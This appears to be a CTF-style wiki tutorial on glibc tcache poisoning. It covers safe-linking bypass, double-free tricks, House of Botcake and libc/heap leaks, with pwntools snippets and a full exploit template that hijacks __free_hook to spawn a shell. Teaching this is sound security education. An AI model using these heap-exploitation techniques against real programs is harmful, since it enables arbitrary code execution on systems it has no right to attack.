Athena Wiki

Tcache Poisoning Deep Dive

pwnadvanced

Master tcache bin poisoning across glibc versions - safe-linking bypass and full exploit templates.

pwnheaptcachepoisoningglibcsafe-linkingarbitrary-write

Tcache Poisoning Deep Dive

Tcache poisoning is the go-to technique for turning a use-after-free or heap overflow into an arbitrary write. By corrupting a freed chunk's forward pointer, you trick malloc into returning a pointer to any address you want.

This page covers the technique across glibc versions. If you're not familiar with how tcache works, read Heap Exploitation first.


How Tcache Works

Tcache (Thread Cache) was added in glibc 2.26. It's a per-thread cache of recently freed small chunks, designed to speed up allocation:

Tcache bins: one bin per size class (0x20 to 0x410, step 0x10)
Each bin: singly-linked list, max 7 entries

On free(ptr):   ptr->fd = tcache_bin[size]; tcache_bin[size] = ptr
On malloc(n):   ptr = tcache_bin[size]; tcache_bin[size] = ptr->fd

The key: fd is just a pointer to the next free chunk. If you overwrite fd with an address you control, the next malloc returns that address.


Basic Tcache Poisoning (glibc 2.26–2.31)

No integrity checks, no encoding — just overwrite fd:

from pwn import *

# Assume: alloc(n), free(idx), edit(idx, data), show(idx)

# 1. Allocate and free a chunk
alloc(0x30)   # chunk 0
free(0)       # tcache[0x40] → chunk 0 → NULL

# 2. Overwrite fd via UAF
target = elf.got['puts']   # any address you want
edit(0, p64(target))       # tcache[0x40] → chunk 0 → target

# 3. Allocate twice
alloc(0x30)   # pops chunk 0
evil = alloc(0x30)   # pops target! malloc returns your address

# 4. Write to target
edit(1, p64(libc.sym['system']))

After step 2, the tcache freelist looks like: chunk 0 → target → (garbage). The first malloc returns chunk 0. The second returns target.


Safe-Linking Bypass (glibc 2.32+)

From glibc 2.32, tcache fd pointers are mangled with safe-linking:

stored_fd = (chunk_addr >> 12) ^ real_fd

To write a valid fd, you need to know the chunk's address. This means you need a heap leak first.

Step 1: Leak heap address

alloc(0x30)   # chunk 0
free(0)       # fd = (chunk_addr >> 12) ^ 0  (first in bin, next is NULL)

leak_raw = u64(show(0)[:8].ljust(8, b'\x00'))
heap_base = leak_raw << 12
log.success(f"Heap @ {hex(heap_base)}")

When a chunk is the last in the tcache bin, its fd is 0. So stored_fd = (chunk_addr >> 12) ^ 0 = chunk_addr >> 12. Shifting left by 12 recovers the heap base.

Step 2: Encode the target

chunk_addr = heap_base + 0x...   # address of the freed chunk (from GDB)
target = elf.got['puts']

mangled = (chunk_addr >> 12) ^ target
edit(0, p64(mangled))

Step 3: Allocate and write

alloc(0x30)   # pops chunk 0
evil = alloc(0x30)   # returns target

edit(1, p64(libc.sym['system']))

Double Free Bypass

glibc 2.29+ added detection: freeing a chunk that's already in tcache triggers an error. Bypasses:

Fill the tcache bin (7 entries), then the next free goes to fastbin. Free the same chunk again into fastbin — different bin, no tcache check:

alloc(0x30)   # chunk 0 (victim)

# Fill tcache with 7 other chunks of same size
for i in range(7):
    alloc(0x30)
for i in range(1, 8):
    free(i)

free(0)       # chunk 0 → fastbin (tcache full)
free(0)       # chunk 0 again → fastbin double free!

After allocating from tcache to make room, you can free chunk 0 into tcache too — now it's in both bins.


House of Botcake (glibc 2.27+)

A technique that combines tcache and unsorted bin to achieve chunk overlap:

# 1. Allocate 7 + 2 chunks of same size
for i in range(9):
    alloc(0x30)

# 2. Fill tcache (free 7)
for i in range(7):
    free(i)

# 3. Free chunk A → unsorted bin (tcache full)
free(7)   # chunk A

# 4. Free chunk B → goes to tcache (now has 1 entry)
free(8)   # chunk B

# 5. Allocate 1 from tcache → makes room
alloc(0x30)

# 6. Free chunk A again → A goes to tcache
#    Now A is in both unsorted bin AND tcache!
free(7)

# 7. Allocate to get A from tcache, then edit to overlap with B
alloc(0x30)   # gets A
# Now A's data area overlaps with B's header
# Overwrite B's size/fd to control future allocations

This is useful when you need chunk overlap but can't do a simple double free due to glibc checks.


Libc Leak from Tcache

Tcache chunks don't have libc pointers. To leak libc, free a chunk that's too large for tcache — it goes to the unsorted bin:

alloc(0x500)   # large chunk (above tcache max)
alloc(0x20)    # guard (prevents merging with top chunk)
free(0)        # → unsorted bin → fd/bk = main_arena+96

leak = u64(show(0)[:8].ljust(8, b'\x00'))
libc.address = leak - libc.sym['main_arena'] - 96

glibc Version Cheat Sheet

VersionTcache featuresWhat you need
< 2.26No tcacheFastbin attacks instead
2.26–2.28Tcache, no checksBasic poisoning, easy double free
2.29–2.31Double-free detectionFill tcache or corrupt count
2.32–2.33Safe-linkingHeap leak first, then encode fd
2.34+Safe-linking, no hooksHeap leak + FSOP/House of Apple

Full Exploit Template

from pwn import *

context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')

# 1. Leak heap (UAF on tcache chunk)
alloc(0x30)
free(0)
heap_raw = u64(show(0)[:8].ljust(8, b'\x00'))
heap = heap_raw << 12
log.success(f"Heap @ {hex(heap)}")

# 2. Leak libc (free large chunk to unsorted bin)
alloc(0x500); alloc(0x20)
free(0)
libc_leak = u64(show(0)[:8].ljust(8, b'\x00'))
libc.address = libc_leak - libc.sym['main_arena'] - 96
log.success(f"libc @ {hex(libc.address)}")

# 3. Tcache poisoning
alloc(0x30)
free(2)

# Safe-linking encode (glibc 2.32+)
target = libc.sym['__free_hook']   # glibc < 2.34
chunk_addr = heap + 0x...   # find exact offset in GDB
mangled = (chunk_addr >> 12) ^ target
edit(2, p64(mangled))

alloc(0x30)          # pop victim
evil = alloc(0x30)   # allocated at target!
edit(evil, p64(libc.sym['system']))

# 4. Trigger
alloc(0x30)
edit(last, b'/bin/sh\x00')
free(last)   # calls free_hook("/bin/sh") = system("/bin/sh")

p.interactive()

Checklist

  • Identify glibc version (strings libc.so.6 | grep "GNU C Library")
  • glibc < 2.32: basic poisoning (no encoding needed)
  • glibc 2.32+: need heap leak for safe-linking bypass
  • glibc < 2.34: overwrite __free_hook or __malloc_hook
  • glibc 2.34+: hooks removed → use FSOP or House of Apple
  • Get libc leak: free 0x500+ chunk, read fd from unsorted bin
  • Get heap leak: free 0x30 chunk, read mangled fd, shift left 12
  • Double free? Fill tcache first or corrupt count field
  • Reference: shellphish/how2heap

Last updated on

On this page